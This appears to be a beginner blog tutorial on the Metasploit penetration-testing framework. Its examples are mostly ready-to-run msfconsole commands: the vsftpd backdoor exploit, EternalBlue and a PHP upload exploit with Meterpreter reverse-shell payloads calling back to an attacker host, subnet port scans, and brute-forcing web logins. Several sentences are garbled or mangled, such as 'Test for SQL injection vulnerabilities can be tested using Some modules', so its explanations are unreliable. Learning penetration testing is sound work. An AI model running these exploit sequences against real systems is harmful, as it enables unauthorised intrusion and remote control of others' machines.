getting started with metasploit for penetration testing

Metasploit is one of the most popular open-source frameworks for penetration testing and ethical hacking. It provides a suite of tools for discovering, exploiting, and validating vulnerabilities in systems and applications.

what is metasploit?

A modular platform that allows security professionals to use Metasploit is a system whereby security experts can work on the framework.

Discover vulnerabilities
Develop and test exploits
Validate security controls
Automate repetitive tasks in penetration testing

installing metasploit

On macOS (using Homebrew):

1
brew install metasploit

Or download the installer from the official site.

core concepts

Modules: Building blocks (exploits, payloads, scanners, etc.)
Exploits: Code that takes advantage of a vulnerability
Payloads: Code executed after exploitation (e.g., reverse shell)
Auxiliary: Scanners, fuzzers, and other tools
Encoders: Obfuscate payloads to avoid detection

basic usage example

Start Metasploit Console:

1
msfconsole

Search for a module:

1
search vsftpd

Select and configure a module:

1
2
3
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
set RPORT 21

Set a payload:

1
set PAYLOAD cmd/unix/interact

Run the exploit:

1
run

example: scanning for vulnerabilities

Open ports and services can be detected using Metasploit, which scans for open ports & services.

1
2
3
4
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443
run

example: exploiting a windows machine

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
run

example: web application pentesting with metasploit

Modules for testing web applications, including scanners, brute-forcers and exploit modules for common vulnerabilities are also part of Metasploit’s module stack.

example: scanning for web vulnerabilities

In addition, You can scan for most common web problems with auxiliary modules.

1
2
3
use auxiliary/scanner/http/http_version
set RHOSTS example.com
run

Or scan for directory listings:

1
2
3
4
use auxiliary/scanner/http/dir_scanner
set RHOSTS example.com
set PATH /admin
run

example: exploiting file upload vulnerabilities

You can use if a web app is vulnerable to file upload exploits and you have access to the files that are uploaded by it.

1
2
3
4
5
6
use exploit/unix/webapp/php_upload_exec
set RHOSTS example.com
set TARGETURI /upload.php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.50
run

example: brute-forcing web logins

Metasploit can brute-force web logins with auxiliary modules:

1
2
3
4
5
use auxiliary/scanner/http/http_login
set RHOSTS example.com
set USERNAME admin
set PASSWORD admin123
run

example: sql injection testing

Test for SQL injection vulnerabilities can be tested using Some modules.

1
2
3
4
use auxiliary/scanner/http/sql_injection
set RHOSTS example.com
set TARGETURI /search.php
run

They also enable automate the discovery and exploitation of common web vulnerabilities. Always ethically and with permission, use them ethicalally and in accordance with instructions.

best practices

Always have permission before testing
Use in a controlled, legal environment
Document findings and report responsibly
Keep Metasploit and its modules up to date

alternatives to metasploit

Nmap: Network discovery and scanning
Nessus: Vulnerability scanning
ExploitDB: Exploit database (manual use)
Cobalt Strike: Commercial red teaming tool

why use metasploit?

Huge library of exploits and payloads
Active community and frequent updates
Automates many pentesting tasks
Integrates with other security tools

For anyone interested in penetration testing or learning about security, it is essential to have Metasploit (a must-have) and use responsibly & always with proper permission.